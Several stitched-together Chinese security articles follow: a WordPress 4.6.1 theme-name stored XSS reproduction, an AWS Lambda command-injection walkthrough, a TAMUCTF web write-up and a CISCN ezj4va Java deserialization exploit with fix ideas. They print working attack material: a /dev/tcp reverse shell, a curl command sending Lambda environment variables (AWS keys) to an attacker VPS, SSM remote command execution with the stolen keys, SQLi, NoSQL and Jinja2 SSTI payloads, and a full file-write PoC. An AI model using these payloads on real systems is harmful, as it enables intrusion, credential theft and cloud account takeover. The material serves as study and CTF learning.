在能够上传主题文件的前提下执行获取管理员Cookie等XSS可以进行的攻击，实际的攻击场景有以下两种：
* 攻击者诱导管理员上传恶意构造的主题文件，且管理员并没有对文件进行检查
* 攻击者拥有管理员权限可以直接上传主题文件，但既然已经有管理员权限再进行这样的攻击也就多此一举了
### 3.影响版本
<= 4.6.1
## 0x01 漏洞复现
### 1\. 环境搭建
docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
docker run --name wp --link wp-mysql:mysql -d wordpress
### 2.漏洞分析
我们先随便下载一个主题：
wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip
unzip -x illdy.1.0.29.zip
然后对`illdy/style.css`进行如下更改：
/*
Theme Name: <svg onload=alert(1234)>
... DO NOT CHANGES HERE ...
*/
接着更改文件夹名字再打包：
mv illdy "<svg onload=alert(5678)>"
zip -r theme.zip "<svg onload=alert(5678)>"
构造好之后我们登录后台上传该主题文件，同时开始动态调试。
首先进入`wp-admin/includes/class-theme-installer-skin.php`中第55-82行：
$name = $theme_info->display('Name');
...
if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
$install_actions['preview'] = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview “%s”' ), $name ) . '</span></a>';
}
$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate “%s”' ), $name ) . '</span></a>';
其中`$theme_info`的值如下：
其中`stylesheet`和`template`的值为我们更改的文件夹名，`headers.Name`为更改的`style.css`中的`Name`。`$theme_info`中有我们可控的payload，其调用`display`函数后赋值给`$name`，`$name`直接与html拼接，所以关键点在`display`函数上，动态调试跟进到`wp-includes/class-wp-theme.php`中第630-646行：
public function display( $header, $markup = true, $translate = true ) {
$value = $this->get( $header );
if ( false === $value ) {
return false;
}
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
$translate = false;
if ( $translate )
$value = $this->translate_header( $header, $value );
if ( $markup )
$value = $this->markup_header( $header, $value, $translate );
return $value;
}
由之前的调用可知，这里的`$header`的值为`Name`。首先看`$this-get($header)`，在`wp-includes/class-wp-theme.php`中第594-617行：
public function get( $header ) {
...
$this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
...
return $this->headers_sanitized[ $header ];
}
这里省略了与漏洞无关的部分，程序进入了`$this->sanitize_header`，在`wp-includes/class-wp-theme.php`第661-705行：
private function sanitize_header( $header, $value ) {
switch ( $header ) {
...
case 'Name' :
static $header_tags = array(
'abbr' => array( 'title' => true ),
'acronym' => array( 'title' => true ),
'code' => true,
'em' => true,
'strong' => true,
);
$value = wp_kses( $value, $header_tags );
break;
...
}
这里执行了`Name`这个分支，可以看到程序使用`wp_kses`对`$value`的值进行了过滤，仅允许`$header_tags`中的html符号，所以我们`headers.Name`的值`<svg
onload=alert(1234)>`是不合法的，`$value`值被赋为空。
然后程序回到了`display`函数，根据动态调试可以知道程序执行了`$value = $this->markup_header( $header,
$value, $translate );`这个条件分支，再跟进，在`wp-includes/class-wp-theme.php`中第720-748行：
private function markup_header( $header, $value, $translate ) {
switch ( $header ) {
case 'Name' :
if ( empty( $value ) )
$value = $this->get_stylesheet();
break;
...
return $value;
}
这里我们看到由于`$value`在之前被赋为空，导致此处`$value`被重新赋值为了`$this->get_stylesheet()`，也就是值为`<svg
onload=alert(5678)>`的`stylesheet`变量。最后返回的`$value`赋给了`$name`，`$name`再与html拼接返回给客户端，从而触发了漏洞：
这个漏洞有趣的地方在于`style.css`中的payload其实起到的是一个障眼法的作用，正是因为`<svg
onload=alert(1234)>`被过滤了才使`$value`被赋值成了我们真正的payload`<svg
onload=alert(5678)>`。所以在构造主题文件的时候`style.css`和文件夹名这两个地方都要更改。
### 3.补丁分析
可能是由于利用条件十分苛刻，目前Wordpress官方还没有发布补丁，最新版Wordpress仍存在该漏洞。
## 0x02 修复方案
在官方发布补丁前，管理员应提高安全意识，不要轻易使用来路不明的主题。
对于开发者来说建议对`$name`进行合法性检查，例如这样：
$allowed_html = array(
'em' => true,
'strong' => true,
);
$name = wp_kses($name, $allowed_html);
## 0x03 参考
* https://www.seebug.org/vuldb/ssvid-92458
* <https://www.mehmetince.net/low-severity-wordpress-461-stored-xss-via-theme-file>
* <https://codex.wordpress.org/Function_Reference/wp_kses>
* * * | 社区文章 |
# 前言
## 1、这篇文章讲了什么？
文本围绕三个问题
1、lambda会遇到什么攻击场景
2、什么情况下，在lambda中读取到的env环境变量密钥可以让我们接管服务器甚至整个账号
3、什么情况下，可以通过lambda权限去横向到其他的EC2服务器
本文会对这三个问题进行解答，并且进行演示
## 2、什么是ServerLess和Lambda
**Serverless** ，即 **无服务器计算**
。然而Serverless不是不再需要服务器，而是公司或开发者不用过多考虑服务器的问题，计算资源仅作为一种服务而不再以物理硬件的形式出现。
**为什么使用ServerLess**
Serverless免除公司和开发者对服务器维护的麻烦，因此也不用考虑DevOps了。公司和开发者只需关注应用的开发和运维即可，因此Serverless可以在更大程度上节约运维的成本。
**Serverless的优势**
* 可用性冗余，以便单个机器故障不会导致服务中断
* 冗余副本的地理分布，以便在发生灾难时保留服务
* 负载平衡和请求路由以有效利用资源
* 响应负载变化进行自动缩放以扩展或缩小系统
* 监控以确保服务仍然运行良好
* 记录以记录调试或性能调整所需的消息
* 系统升级，包括安全修补
* 迁移到新实例时可用
选自阿里云
> <https://www.alibabacloud.com/zh/knowledge/what-is-serverless>
# 一、场景搭建与实践
> <https://us-east-1.console.aws.amazon.com/lambda/home?region=us-> east-1#/create/function>
## 1、创建一个lambda函数
这里都是用默认的设置
并且我们对执行的角色也是用默认的选项
在高级设置中，我们也保持默认
## 2、为lambda函数添加触发器
在编写函数代码之前，我们需要添加触发器
为了演示方便，我们不去考虑这个函数在业务中的具体作用，只需在意这个函数在什么时候触发即可
首先我们创建一个S3 存储桶
并且我们在刚刚创建的函数添加触发器，并且选择这个存储桶，触发的事件类型也选择所有对象创建事件
在我们开始编写函数前，我们需要知道，在S3上传对象时，所获取到的内容是什么样子的
上传一个文件，触发一下日志
随后在cloud watch中就可以看到上传的日志
这里可以看到object中的key是上传的文件名，那假设函数获取的文件名并且当成命令执行，那么在上传文件时如果未对文件进行重命名就会造成问题，或者更加直接一些，我们直接获取文件的内容，将内容当做命令执行，或者写一个flask或者django的服务来接收参数然后执行命令
> 这里看上去会比较鸡肋，因为毕竟太刻意了，黑盒模式下也不太好遇上，这里的举例只做研究使用
我们将这里的Json数据取出来，然后丢到lambda测试，这样更加方便
这里我们主要关注这个event，对event的数据进行处理
import json
def lambda_handler(event, context):
for i in event['Records']:
getObjectName = i['s3']['object']['key']
print(getObjectName)
这样可以单独把文件名取出来
开始对这个文件名进行处理，直接使用Split函数对文件名进行.号分割，取下标值即可取到文件名
import json
import os
def lambda_handler(event, context):
for i in event['Records']:
getObjectName = i['s3']['object']['key']
getSplitObjectName = getObjectName.split('.')
os.system(getSplitObjectName[0])
为了方便测试 手动把测试数据的KEY改为whoami.jpeg
点击Test函数，查看返回结果
## 3、执行命令
### 3.1、反弹shell
那么此时尝试反弹Shell，看看是否能弹回来
exec /bin/sh 0</dev/tcp/ip/1234 1>&0 2>&0
代码需要改成下面这样
import json
import os
def lambda_handler(event, context):
for i in event['Records']:
getObjectName = i['s3']['object']['key']
getSplitObjectName = getObjectName.rsplit('.', 1)
print((getSplitObjectName))
为什么要用rsplit而不用split呢？因为只需要取最后一个.点开始分割，如果使用split，会把IP地址也进行分割
import json
import os
def lambda_handler(event, context):
try:
for i in event['Records']:
getObjectName = i['s3']['object']['key']
getSplitObjectName = getObjectName.rsplit('.', 1)
os.system(getSplitObjectName[0])
except Except as e:
print(e)
将这个代码更新到lambda函数中，随后运行Test
NC监听发现，这里会显示有连接过来，但是会超时，导致连不上，我一开始以为是国内服务器的问题，换了一台香港服务器也还是如此
既然反弹Shell失败的话，我们先暂且不去研究到底是为什么导致无法连接，那么能不能读env信息呢？答案是可以的
### 3.2、读取env信息
用DNSLOG外带平台，或者NC监听都行
> <https://app.interactsh.com/#/>
这里使用服务器来NC监听，然后使用curl来进行请求
curl -X POST -d \"`env`\" vps:80.jpeg
从图片中可以看到，将env信息带了出来，那么此时有AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY，可以进行利用吗？
首先我们看一这个Key能做一些什么？
#### 3.2.1、黑盒盲猜Key的权限
这里肯定会遇到一个问题，将ID和KEY配置到aws cli中会出现下面的情况
> An error occurred (AuthFailure) when calling the DescribeInstances
> operation: AWS was not able to validate the provided access credentials
这里提示我们，AWS无法验证所提供的的凭证，那么是写错了吗？其实还需要提供上面的token，如何添加？
vim ~/.aws/credentials
加上aws_session_token = xxxx
在执行列EC2的命令，就会提示没有权限
aws ec2 describe-instances
但是这里有这么多的API，怎么知道这个KEY有什么权限呢？这就需要切换到白盒的方式，因为创建lambda函数的时候，所有的配置都是用的默认的，这个时候，只需要确定默认配置创建的IAM给的权限是多少即可
来到IAM，查看这个系统创建的角色有哪些权限
点击策略名称
进去之后可以发现，只有三个权限
1、CreateLogGroup-创建日志组
>
> <https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_CreateLogGroup.html>
2、CreateLogStream-创建日志流
>
> <https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_CreateLogStream.html>
3、PutLogEvents-将日志事件上传到指定的日志流
>
> <https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_PutLogEvents.html>
# 二、提出问题
那么至此，我们需要考虑两个问题
1、在什么情况下，这里的IAM密钥，能让我们控制EC2服务器，甚至接管整个账号？
2、在lambda函数中，就算是打穿了，那也是在云厂商提供的环境中，与企业的服务器还是有隔离的，那么什么情况下，会影响到企业的服务器？，也就是我们如何横向去攻击其他的服务器？
# 三、什么情况下，读取到的env密钥可以让我们接管服务器甚至整个账号？
从这里的IAM来看，env里面的密钥权限肯定来自于我们创建lambda函数时，让我们选择是自动新建角色，还是使用现有角色这里
这里选择使用现有的角色，然后去IAM创建一个
这里选择Lambda，因为是给Lambda这个服务使用的
这里可以看到这一条策略
> Provides full access to Amazon EC2 via the AWS Management Console.
也就代表着可以通过控制台访问所有的EC2服务
创建完成后，分配给Lambda
**Tips**
这里的可信实体一定要是AWS服务:lambda，不然在lambda函数中是选不到这个角色的
随后回到lambda，点击一下刷新，就可以看到新建的角色了
创建函数，再尝试把env信息读出来
虽然这个函数执行失败了，但是收到了请求，无伤大雅，现在尝试对这里的AK/KEY进行利用
在此之前，使用尊贵的AWS12月免费账户启动一个EC2
vim ~/.aws/credentials
写入刚刚获取到的AK/ID还有token
列出账号下的EC2
aws ec2 describe-instances
这里返回为空，可能有人会认为是不是执行失败了，其实是成功了，证明我们获取到的AK/ID是有EC2权限的，因为如果执行失败的话会返回AccessDenid，那么我们刚刚启动了一个EC2，但是这里不显示是为什么呢？这就是AWS地区的问题了，使用下面的命令，换一个地区尝试一下
aws configure
这里的地区目前是显示在首尔，但是我们的服务器是在弗吉尼亚北部us-east-1，切换一下地区即可
再执行列出EC2的命令，就可以了
aws ec2 describe-instances
现在已经是有权限的，那么能否在EC2中执行命令呢？
> 这里的命令，我就照搬TeamsSix的文章了: <https://zone.huoxian.cn/d/1022-aws-ec2>
1、列出目标实例的ID
aws ec2 describe-instances --filters "Name=instance-type,Values=t2.micro" --query "Reservations[].Instances[].InstanceId"
2、在指定的EC2上执行命令
aws ssm send-command \
--instance-ids "i-03f69896b608efa53" \
--document-name "AWS-RunShellScript" \
--parameters commands=ifconfig \
--output text
但是此时会提示我们并没有权限执行命令，会IAM看一下
我们这里使用的是SSM，所以需要附加SSM的权限，也就是Aws Systems Manager
> <https://docs.aws.amazon.com/zh_cn/systems-manager/latest/userguide/what-is-> systems-manager.html>
但是已经不重要了，我们可以现在对EC2进行增加，停止，删除了，用下面的命令可以停止指定的EC2
aws ec2 stop-instances --instance-ids 这里写EC2的ID
此时可以看到我们的EC2已经被停止了
那么就是想执行命令，能执行吗？答案是可以的，只需要在角色中添加SSM即可
将这个权限附加到UzJuFullEC2的角色中，然后需要重新获取Token，因为这里改了之后，在env中的AK和KEY就变了
然后我们再执行命令会发现提示无效，原因是因为服务器的agent未在线
systemctl status amazon-ssm-agen
这个时候就需要去EC2中添加IAM
右键EC2选择安全-修改IAM
然后再执行命令
aws ssm send-command \
--instance-ids "i-05d0f910ec24e2c22" \
--document-name "AWS-RunShellScript" \
--parameters commands=ifconfig \
--output text
获取输出
aws ssm list-command-invocations \
--command-id 9acde1bb-f93f-40b0-a038-94dc74b4c390 \
--details
# 四、什么情况下，可以通过获取lambda权限横向到其他服务器?
这里就要说到，在创建Lambda函数的时候，有一个高级选项，可以分配VPC
创建成功后，现在lambda函数就与EC2服务器在同一个VPC中
随后首先使用证书登录到服务器
验证一下现在lambda函数是否能访问到这个EC2，只需要在这个EC2中开启一个HTTP服务即可
**PS**
这里有个比较小丑的事情。。。
我在EC2中开启监听，然后lambda
访问EC2的内网地址，按道理来说应该是能访问到的，可以把VPC理解为局域网，但是就是访问不到，然后lambda函数执行超时，气急败坏上了fscan
后来才发现，是因为EC2的安全组只放了22。。所以才访问不到的，现在改成全开的情况
放通安全组之后，lambda可以成功访问到我的EC2了
这里插一个小插曲，在上面我们没解决公网没办法反弹shell的问题，那么内网可以吗？尝试了一下，还是不可以
跟公网一个情况，会自动断开，那么回到正题
把lambda函数的VPC取消，那么还能访问吗？
可以看到，如果将VPC取消之后，lambda函数就没有办法访问EC2
现在再考虑一个问题，能不能反向查找，现在的情况是，我们控制了EC2，可以用fscan等扫描工具来判断内网存在哪些机器，那么能不能反过来，在lambda函数上装一个kscan来判断VPC中有多少个EC2
curl -O http://172.31.92.92/kscan_linux_amd64
这里不能直接存，因为是只读的
> 这里的图片是fscan，因为边做边写的时候图片没换，就懒得重新弄了
>
> 为什么不用fscan，因为没有root权限，icmp没权限
但是可以存在tmp目录下，用curl -小写的o
curl -o /tmp/kscan http://172.31.92.92/kscan_linux_amd64
下载成功，给一下权限
chmod 777 /tmp/kscan.jpeg
这里直接运行是不行的，需要给权限
chmod 777 /tmp/kscan
然后再次运行
/tmp/kscan --spy 172.31.0.0/16 --scan -t 200 > /tmp/ok.txt.jpeg
这里执行的时候有个小Tips
这里会一直转圈圈，因为这里有个超时限制，正常是3秒，如果设置是默认3秒的话，这里就会执行失败，因为等待太久了，在扫描，所以需要配置一下超时时间，我这里配置成了10分钟
现在可以看到里面有数据了，cat看一下内容
cat /tmp/ok.txt
可以看到这里所探测到的就是我们创建的EC2
然后可以利用CURL带出来
curl -X POST -d \"`cat /tmp/ok2.txt`\" 172.31.92.92:800.jpeg
# 五、总结
## 1、lambda的攻击方式
与常见的漏洞利用方式类似，对外部输入并不可控造成的
## 2、什么情况下获取的env密钥可以接管服务器或者账号？
* lambda必须拥有自定义的IAM角色
* [AmazonEC2FullAccess](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AmazonEC2FullAccess)
## 3、什么情况下获取到的env密钥可以执行命令？
* lambda的IAM角色必须拥有
* [AmazonSSMFullAccess](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AmazonSSMFullAccess)
* [AmazonEC2RoleforSSM](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AmazonEC2RoleforSSM)
## 4、什么情况下可以通过lambda去横向到其他服务器？
* lambda必须绑定VPC
* 即在同一个VPC内网中即可扫描探测到存活的服务器内网地址
## 5、云安全靶场-TerraformGoat
* <https://github.com/HuoCorp/TerraformGoat> | 社区文章 |
# TAMUCTF-部分web解析
这次的这个比赛难度还是有些梯度的，有些知识点想到了，就能出来了，后面两道web题没有想到考的什么就没有做出来。
## Not Another SQLi Challenge
(<http://web1.tamuctf.com)[http://web1.tamuctf.com>]
标题写着sqli chanllenge，很明显就是sql注入了，直接上payload
username=1&password=-1' or 1=1 #
flag:gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}
## Robots Rule
(<http://web5.tamuctf.com)[http://web5.tamuctf.com>]
打开链接，扫一下，可以看见有robot.php,robots.txt文件，访问一下
User-agent: *
WHAT IS UP, MY FELLOW HUMAN!
HAVE YOU RECEIVED SECRET INFORMATION ON THE DASTARDLY GOOGLE ROBOTS?!
YOU CAN TELL ME, A FELLOW NOT-A-ROBOT!
看懂Google robots，这里我们应该想到更改代理，伪造googlebot，直接扔一个代理网站
<https://developers.whatismybrowser.com/useragents/explore/software_name/googlebot/?order_by=operating_system_name>
设置好代理，访问robots.php
得到flag：gigem{be3p-bOop_rob0tz_4-lyfe}
## Many Gig'ems to you!
(<http://web7.tamuctf.com)[http://web7.tamuctf.com>]
这道题就不想吐槽了，就是在几个网页源码和cookie中找到字符串进行拼接得到flag
flag：gigem{flag_in_source_and_cookies}
## Science!
(<http://web3.tamuctf.com)[http://web3.tamuctf.com>]
这道题打开链接，看源码，可以看到Flask引人注目
由此我们可以想到ssti，`{{7*7}}`测试一波
可以确定就是Flask/jinja2 模板注入
payload：
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('./flag.txt').read() }}
flag:gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}
模板注入的具体分析可以看我的一篇(文章)[<http://www.sherlocklee.top/2018/12/09/%E6%B3%A8%E5%85%A5/ssti/>]
## Login App
(<http://web4.tamuctf.com)[http://web4.tamuctf.com>]
打开链接就是一片绿，一个登录框，随便输入点弹了一个警示框
进行抓包，发现是参数传递传入是json格式，于是大胆猜测一下是Nosql 注入，测试
果然就是MongoDb
payload：
{"username":"admin","password":{"$ne":"1"}}
flag:gigem{n0_sql?_n0_pr0bl3m_8a8651c31f16f5dea}
## 总结
这次ctf的题目总体来说不是很难，只要想到考的知识点了，这道题就出来，web中bucket那道题好像是和亚马逊的服务器有关，因为没有购买过，就没有去做，最后两道题真没有什么思路。总的来说这次的ctf很符合我这样的小白，往大佬路过就行，勿喷。 | 社区文章 |
# CISCN 2021 ezj4va与Fix思路
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 比赛过程中发现了漏洞点并且提示是写入文件然后rce，不过在封装恶意类的时候一直报错，然后就一直到比赛结束也没有调试出来，不过之后问了Mrkaixin师傅发现自己的一下小问题，然后在问了学长hpdoger给了思路可能是springboot任意选择文件写到rce的利用，于是自己又打开了idea开始研究。再次非常感谢Mrkaixin师傅和学长朱师傅。
## 搭建环境
在比赛中我们可以访问robots.txt访问源代码，然后下载之后在本地搭建，使用maven环境，这里有点配置环境自己想办法咯，因为比赛的时候是断网的，还好自己之前下载了很多包使用，搭建之后就可以看一下项目目录。
项目启动详细在launch/Main可以看到，并且是以tomcat启动端口8081。
## 代码审计
接下来就是代码审计，审计思路是先看控制器controller。在IndexController控制器中存在下载功能也就是下载我们的源代码，不过并没有任意文件下载。。。。
然后在看CartController控制器里面根据不同的路由触发不同的操作而都是简单的操作，添加add 查询query 删除remove操作。
简单的看了一下具体的操作都是我们可以控制get参数skus和cookie值
并且每个操作下都有对参数值进行了序列化和反序列化操作。然后跟进发现有一个接口，是其具体方法的实现。
我们就看一个基本上就可以了，如下我们看addToCart方法。将我们的参数值进行反序列化之后添加到map集合里面。
其他的操作一样，然后看看反序列化的实现，可以发现是直接反序列化base64编码的参数。
然后基本上了解了大体上项目是思路，我们可以控制get参数和cookie参数并且去执行添加查询删除操作，
**注意一点这里的get参数和cookie参数必须为Cart类。不然会报错。**
然后在比赛中自己发现query方法的实现非常简单直接进行反序列化操作。
当时感觉wc!直接利用cc链直接打啊，然后去满怀期待的看看pom.xml文件。。。
并没有cc组件和漏洞组件。。。这里的fastjson和aspectj是自己修改的版本因为不想在下载其他的。而对于fastjson原来版本是1.2.72无漏洞除非有0day!并且也利用不了。而aspectj原版本是1.9.5，然后让队友去利用可以上网的靶机搜索aspectj版本漏洞果然有一个写入文件漏洞，需要配合cc链，而项目并没有cc组件。那就先看aspectj的利用文章。
看看调用栈
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
看了这个之后，大概懂了为什么需要cc组件，TiedMapEntry和LazyMap都是cc组件里面的类。所以前面的我们根本不能使用，然后看下面的需要了
SimpleCache$StorableCachingMap#put，回顾我们之前项目的操作过程，里面是不是操作了一个put方法将数据put到map集合里面?那这链子不是就通了？
所以现在的调用栈
Gadget chain:
CartServiceImpl.addToCart() //反序列化成cart对象
Deserializer.readObject()
CartServiceImpl.addToCart()//存在put方法
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
然后在看看最后的写入文件过程
然后调用writeToPath方法
文件内容和文件里面的值我们都可以控制，所以可以成功写入文件。
## 构造poc
因为前文件说了控制的参数需要是cart类，不能反序列化的所以要报错。所以我们直接在项目domain/cart里面构造。
首先我们让cookie序列化之后的cart类的SkuDescribe首先为我们的恶意类SimpleCache，并且类型为一个map。这样需要注意一下不然构造poc的时候报错。
这里我们可以利用一部分yso里面的poc。然后直接给setSkuDescribe进去一个恶意的对象simpleCache，这里需要注意一下因为SimpleCache类的内部类StoreableCachingMap属性是private的要报错，解决的方法是在当前项目目录下建立一样的类并且修改内部类StoreableCachingMap的属性为public。
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);//获得obj
直接set进去要报错因为数据类型不匹配，也正是我前面说的SkuDescribe类型是map，然后我们就封装成map就欧克。
cart.setSkuDescribe((Map<String, Object>) simpleCache);
然后我们cookie参数获得构造好了，之后在构造我们的get数据写入文件。
我们还是直接setSkuDescribe一个Map进去，map的key为文件名value为文件内容。
Map map = new HashMap();
String filepath = "1.txt";
String data = readFile(filepath);//自己写了一个读文件的函数
map.put("2.txt",data.getBytes(StandardCharsets.UTF_8));//编码
cart.setSkuDescribe(map);
然后一起将get和cookie的值进行base64编码发送就欧克就能成功写入文件。
### 完整的poc
public static String readFile(String filePath) throws Exception{
// 根据path路径实例化一个输入流的对象
FileInputStream fis = new FileInputStream(filePath);
//2. 返回这个输入流中可以被读的剩下的bytes字节的估计值；
int size = fis.available();
System.out.println(size);
//3. 根据输入流中的字节数创建byte数组；
byte[] array = new byte[size];
//4.把数据读取到数组中；
fis.read(array);
//5.根据获取到的Byte数组新建一个字符串，然后输出；
String result = new String(array);
result = result.replaceAll("\r|\n", "");
fis.close();
return result;
}
public static Cart cookiePayload() throws Exception {
Cart cart = new Cart();
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);//获得obj
cart.setSkuDescribe((Map<String, Object>) simpleCache);
return cart;
}
public static Cart getPayload() throws Exception {
Map map = new HashMap();
Cart cart = new Cart();
String filepath = "1.txt";
String data = readFile(filepath);
map.put("2.txt",data.getBytes(StandardCharsets.UTF_8));//编码
cart.setSkuDescribe(map);
return cart;
}
public static String getURLEncoderString(String str) {
String result = "";
if (null == str) {
return "";
}
try {
result = java.net.URLEncoder.encode(str, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return result;
}
public static String URLDecoderString(String str) {
String result = "";
if (null == str) {
return "";
}
try {
result = java.net.URLDecoder.decode(str, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return result;
}
public static String Exp(Cart poc)throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(poc);
baos.close();
return (new BASE64Encoder().encode(baos.toByteArray()).replace("\r\n", ""));
}
public static void main(String[] args) throws Exception {
System.out.println("--------------------------------------------get数据-------------------------------------------");
System.out.println(getURLEncoderString(Exp(getPayload())));
System.out.println("--------------------------------------------cookie数据----------------------------------------");
System.out.println(Exp(cookiePayload()));
}
## RCE思路
不过能写入文件并不能拿到flag,然后放了hint我记得是rce什么的。不过在之后的fix模式才知道项目是直接打包了jar java -jar
xx.jar启动，那写入文件有啥用？？
下面的思路是学长hpdoger给的说让我看看《[Spring Boot Fat Jar 写文件漏洞到稳定 RCE
的探索](https://landgrey.me/blog/22/)》这篇文章。
这也是我们的问题。
思路一：
写入`crontab` 计划任务文件，然后反弹shell。不过我也不知道有没有权限。。。。
思路二:
如果找到一种方法可以控制程序在指定的写文件漏洞可控的文件范围内，主动触发初始化恶意的类，就有可能让写文件漏洞变成代码执行漏洞。简单的说就是我们写入的文件进行了初始化操作会执行
static 代码块、static 属性引用的方法等，还可能执行构造器中的代码。然后我们将命令放在静态代码里面就可以执行了。
而这个文件范围在文章中说了可能是更底层的 “系统的 classpath 目录”，即 JDK HOME
目录下。既：/jre/lib/charsets.jar文件。
接下来就需要解决一个问题我们可以写入这个文件然后怎么触发？既：怎么主动触发可以控制类名的类初始化行为。
文章中有具体的分析这里就给出poc，替换过 `charsets.jar` 后，用如下的数据包就可触发 RCE 了 ^_^：
GET / HTTP/1.1
Accept: text/html;charset=GBK
import requests
headers = {"Accept": "text/html;charset=GBK"}
requests.get(url, headers=headers)
思路三:
使用spi ServiceLoader.load(CharsetProvider.class,
cl);我只需要在系统的classpath中添加一个SPI类就行了。然后就是继承CharsetProvider重写里面的方法当利用Charset.forName()的时候触发rce。
思路四:
hook sun.nio.cs.ext.ExtendedCharsets
我们可以重写这个类然后添加恶意代码然后执行命令。可以劫持系统程序，不论是javac.exe编译字节码，还是运行jvm等，都会触发Charset.forName()。不过在该题目不能使用，因为题目环境是一直在运行的，不会重新启动所以也不会触发。
基本上利用的思路都是覆盖文件（替换charsets.jar包/写入classes文件夹）然后通过Charset.forName()触发。
不过在这个题目中自己测试了一下通过 “Accept”: “text/html;charset=evil;”触发不了，在回过头来看根本没有import
springframework导致利用不成功。并且项目里面自己没有找到Charset.forName()触发点。。。。。
不过思路可能是这个吧？！只是个人的猜想，不过这个题确实自己思考了有一段时间。
先挖一个坑在这里吧。。。。。。。。。
## Fix思路
之后的一个小时就是fix模式，对于java的fix自己最开始是完全没有思路的，是比赛结束之后自己学的思路和方法。于是就简单的记录一下。
[github上有一篇文章写的比较全](https://github.com/Cryin/Paper/blob/master/%E6%B5%85%E8%B0%88Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88.md)
这里自己只是实现其中的一个方法，而该方法也是[SerialKiller](https://github.com/ikkisoft/SerialKiller)项目的底层原理，也是很多框架使用的方法。
### hook
hook ObjectInputStream类的resolveClass方法
>
> 需要继承Java.io.ObjectInputStream实现一个子类，在子类中重写resolveClass方法，以实现在其中通过判断类名来过滤危险类。然后在JavaSerializer类中使用这个子类来读取序列化数据，从而修复漏洞。
新建一个工具类：utils/Fix
package ciscn.fina1.ezj4va.utils;
import ciscn.fina1.ezj4va.domain.Cart;
import java.io.*;
public class Fix extends ObjectInputStream {
public Fix(InputStream inputStream)
throws IOException {
super(inputStream);
}
/**
* 只允许反序列化Cart.class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(Cart.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
并且修改Deserializer类
package ciscn.fina1.ezj4va.utils;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Deserializer{
public static Object deserialize(String base64data) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
Fix fix = new Fix(bais);
Object obj = fix.readObject();
fix.close();
return obj;
}
}
### 修改suid
这个修复方案，是从Xenny师傅那学的，是通过修改关键类中(也就是题目的cart类)的serialVersionUID，[serialVersionUID](https://www.cnblogs.com/xuxinstyle/p/11394358.html)可以理解为java序列化的标识，只有满足序列化后的serialVersionUID值和序列化前的值一样才可以成功反序列化。不然会报出
**InvalidClassException**
错。可以这样理解因为出题人的exp肯定是构造好了的，于cart类的suid也是对应的，所以如果我们修改cart类的suid就会报错，并且这里可以使用工具修改就不需要反编译和打包了。
**JByteMod-1.8.2**
需要注意的是运行这个工具的时候jre运行环境一定要与项目的运行环境一致。
其他fix思路想不到希望师傅们能给出好方法。
## 总结
非常感谢Mrkaixin师傅和学长朱师傅还有Xenny师傅。虽然这个题最后还是没有RCE，不过有思路了，还学习了Spring Boot Fat
Jar写文件漏洞到稳定RCE，并且学习了java序列化题的fix思路和方法，总的来说这个题出的非常好，自己学习了不少。
最后: 给出题目环境和可能需要利用的的jar [github](https://github.com/Firebasky/ctf-Challenge)
> 参考：
>
> <https://xz.aliyun.com/t/9168>
>
> <https://landgrey.me/blog/22/>
>
> <https://www.cnblogs.com/wh4am1/p/14681335.html>
>
> <https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks>
>
